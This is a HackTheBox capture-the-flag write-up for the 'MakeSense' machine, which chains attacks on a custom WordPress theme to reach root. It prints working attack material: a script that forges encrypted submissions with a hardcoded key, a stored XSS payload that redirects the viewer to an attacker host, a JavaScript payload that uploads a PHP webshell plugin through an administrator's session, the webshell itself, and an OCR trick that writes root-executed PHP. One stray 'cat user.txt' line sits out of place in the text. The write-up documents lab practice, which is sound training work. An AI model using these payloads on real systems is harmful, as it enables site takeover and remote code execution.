MakeSense Writeup - HackTheBox
Created June 15, 2026 • Last updated November 1, 2026 • 9 min read
Reconnaissance
Add the target to hosts and run a full TCP scan.
PORT STATE SERVICE 22/tcp open ssh 443/tcp open ssl/http 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 443/tcp open ssl/http Apache 2.4.58 |_http-generator: WordPress 7.0 |_http-title: Agency LLC
Only SSH and HTTPS. No mail, no other web ports. Everything routes through the WordPress app.
Run wpscan against the theme and users.
[+] webagency | Location: https://$DOMAIN/wp-content/themes/webagency/ | Version: 1.0 (80% confidence) | Author: WebAgency Team [+] User(s) Identified: [+] walter [+] admin [+] jake
Custom theme (webagency), not a public plugin, so no CVE database is going to help here. Three usernames confirmed via author-id brute forcing and login error messages. Next step is reading the theme's own JS, since custom code is where the bugs will be.
Vulnerability Discovery
Mapping the custom feature
The homepage links two theme-specific scripts:
src="https://$DOMAIN/wp-content/themes/webagency/assets/js/main.js?ver=1.0" src="https://$DOMAIN/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0"
The site has a "Call us" widget: click it, a synthetic voice asks you to leave a message, your mic is recorded, and the audio is transcribed client-side in the browser using Transformers.js running a Whisper model served from the theme's own model bundle. A summary is generated, then both are uploaded.
Pull both scripts and the localized AJAX config:
webagency_ajax = {"ajax_url":"https://$DOMAIN/wp-admin/admin-ajax.php","nonce":"<nonce>","theme_url":"...","site_url":"..."};
The fake encryption
whisper-wrapper.js encrypts the transcription payload before sending it, but the key is baked into the client:
const ENCRYPTION_KEY = '<hardcoded-key-string>';
// key = SHA-256(ENCRYPTION_KEY)
// random 12-byte IV
// AES-256-GCM
// output = base64(iv + ciphertext + tag)
Since the key ships to every browser, this buys zero integrity. Anyone can forge an encrypted blob the server will decrypt and trust. The same file also has an applySymbolMapping() function that maps spoken phrases ("open bracket", "quote", "slash") to symbols, meant so a spoken message can spell out an XSS payload through the transcription pipeline. That confirms the intended attack surface without needing to actually record audio.
Reimplemented the scheme in Python (pycryptodome, in a project venv) and round-trip tested it against known plaintext to confirm it matches WebCrypto's output exactly.
from Crypto.Cipher import AES
import hashlib, os, json, base64
ENCRYPTION_KEY = b"<hardcoded-key-string>"
def encrypt_payload(transcription, summary):
key = hashlib.sha256(ENCRYPTION_KEY).digest()
iv = os.urandom(12)
payload = json.dumps({"transcription": transcription, "summary": summary}).encode()
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
ciphertext, tag = cipher.encrypt_and_digest(payload)
return base64.b64encode(iv + ciphertext + tag).decode()
Mapping the AJAX flow
Two relevant admin-ajax.php actions, both nopriv (unauthenticated):
action=save_voice_raw -> multipart voice_recording (wav), creates its OWN new
contact_submission post titled "Voice Call - <timestamp>",
ignores any post_id you pass it
action=save_voice_results -> post_id + encrypted_payload, decrypts server-side and
stores transcription/summary as POSTMETA
That last point matters. WordPress runs post_content/post_title through wp_kses before saving, but a handler calling update_post_meta() directly bypasses that filter. Confirmed by testing the plain contact form's message field (which goes through post_content) against the transcription field.
REST readback of the stored post:
"content":{"rendered":"<p><img decoding=\"async\" src=\"x\">alert(2)<b>bold</b> plain text here</p>\n"}
onerror stripped, <script> stripped, <b> survived. Standard wp_kses_post behavior. So the plain contact form fields are a dead end for XSS. The transcription/summary postmeta fields are not run through the same filter, that is the real injection point.
Initial Access
Forging a voice-call submission
cat /home/walter/user.txt
save_voice_raw always creates its own post and returns its own post_id. Attaching save_voice_results to a post ID from the contact form (a different feature) instead of the one save_voice_raw just returned means the resulting entry has no audio attached and may not render right in the admin view. Use the post_id this call returns, not one from submit_contact_form.
XSS='<img src=x onerror="location=\"http://$ATTACKER_IP:$ATTACKER_PORT/hit\"">'
ENC=$(python3 encrypt_payload.py "$XSS" "test summary")
curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
-F "action=save_voice_results" -F "nonce=$NONCE" -F "post_id=$PID" -F "encrypted_payload=$ENC"
Accepted server-side. Whether it fires depends on an admin (or automated reviewer) actually viewing the dashboard.
A credential hiding in a seed audio file
Directory listing is enabled under uploads:
<a href="voice-message.wav">voice-message.wav</a>
This is a pre-existing seed recording, not something we uploaded. Downloaded it and transcribed it locally with openai-whisper (installed in the project venv, no internet dependency on the target needed):
hey this is jake, i'm testing the new feature and it's exciting, i'm going there oops login um jake ... ... ... ... 4923
Someone recorded themselves reading out a login. That gives WordPress credentials for jake:
$USER: jake
$JAKES_PASSWORD
Confirming the sink with a low-priv login
jake's role is contributor (confirmed via authenticated REST call to /wp/v2/users/me), no plugin, theme, or user management capability. plugins.php, theme-editor.php, users.php all return 403. No direct privilege escalation from this account, but logging into the real Contact Submissions admin list confirms the theory:
The planted <img onerror=...> payload shows up completely raw and unescaped in the rendered HTML of the admin list table. The sink is real. jake cannot exploit it himself, but an administrator viewing the same page will execute it.
From blind XSS to RCE
Cookie exfiltration will not work against this target (the session cookie behaves as HttpOnly), so instead of stealing a cookie, use the XSS to perform a privileged action directly inside the admin's authenticated browser session. Cookies are attached automatically on same-origin requests regardless of HttpOnly.
Build a minimal one-file WordPress plugin as a webshell:
<?php
/* Plugin Name: sh */
if (isset($_GET['cmd'])) system($_GET['cmd']);
Payload, stored raw in the transcription postmeta (no HTML-attribute escaping needed since it is not filtered):
<script>
(async()=>{
const r1 = await fetch('/wp-admin/plugin-install.php?tab=upload');
const nonce = (await r1.text()).match(/name="_wpnonce" value="([a-f0-9]+)"/)[1];
const bytes = Uint8Array.from(atob("<BASE64_ZIP>"), c=>c.charCodeAt(0));
const fd = new FormData();
fd.append('_wpnonce', nonce);
fd.append('pluginzip', new Blob([bytes]), 'sh.zip');
fd.append('install-plugin-submit', 'Install Now');
await fetch('/wp-admin/update.php?action=upload-plugin', {method:'POST', body:fd});
})();
</script>
Encrypt and plant it exactly like the earlier test payload, on a fresh save_voice_raw/save_voice_results pair. WordPress's plugin-zip installer only checks for a valid plugin header before extracting, it does not require the plugin to be "activated" for its PHP file to be reachable, Apache will execute any .php under the web root directly.
An automated reviewer visits the dashboard periodically (confirmed later via ps aux, a headless Chrome instance driven by a Python automation script), triggers the stored script, and the plugin gets installed.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution as www-data.
Post-Exploitation
Credential reuse from wp-config.php
define( 'DB_USER', 'walter' ); define( 'DB_PASSWORD', '$WALTERS_PASSWORD' );
The site actually uses SQLite, so these MySQL fields are unused dummy values, but the password is reused for the real walter system account.
Login succeeds. User-level shell obtained.
Enumerating for privilege escalation
Sorry, user walter may not run sudo on makesense.
No sudo rights, no exploitable SUID binaries. Check running processes instead.
admin /bin/sh -c PREY_BASE_URL=https://$DOMAIN PREY_HEADLESS=true /usr/bin/python3 /home/admin/.process/prey-unified.py admin /home/admin/.wdm/drivers/chromedriver/.../chromedriver --port=<port> admin /opt/google/chrome/chrome --headless=new ... root /bin/sh -c /root/.scripts/start_ocr4.sh root php -S 127.0.0.1:8001 -t /root/ocr4/
Two things confirmed here. First, the "admin bot" that reviewed the XSS payload is exactly what it looked like, a Python automation script driving headless Chrome as user admin. Second, root runs a local-only PHP web app on port 8001.
Root via a local OCR service
The service requires HTTP Basic Auth:
HTTP/1.0 401 Unauthorized WWW-Authenticate: Basic realm="OCR Protected"
walter's password works here too.
200
The app lets you draw text on a canvas, runs it through tesseract OCR, and offers a "Save as" form with a free-text filename, written under /root/ocr4/saved/. Since this PHP built-in server runs as root and serves any file inside its own docroot, saving recognized text as a .php file is code execution as root, provided the OCR reads back exact PHP syntax.
Render the payload locally with PIL and a monospace font:
from PIL import Image, ImageDraw, ImageFont
font = ImageFont.truetype("/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf", 50)
text = "<?php system($_GET[0]);"
img = Image.new("RGB", (900, 160), "white")
d = ImageDraw.Draw(img)
d.text((20, 40), text, fill="black", font=font)
img.save("payload.png")
OCR read this back as <?php system($ GET[0]);. The underscore in $_GET is dropped or misread as a space by tesseract, consistently, across font sizes and weights. Rather than fight the OCR, avoid the character class entirely. PHP heredoc syntax needs no underscore and no quotes, so hardcode the command directly instead of reading a request parameter:
text = "<?php system(<<<E\nid\nE);"
That rendered and OCR'd back exactly, byte for byte:
<?php system(<<<E
id
E);
Full cycle: recognize, then save with a .php filename, then request the saved file.
uid=0(root) gid=0(root) groups=0(root)
Root code execution confirmed. Re-render the same heredoc template with any command needed for further post-exploitation, save under a new filename each time, and request it.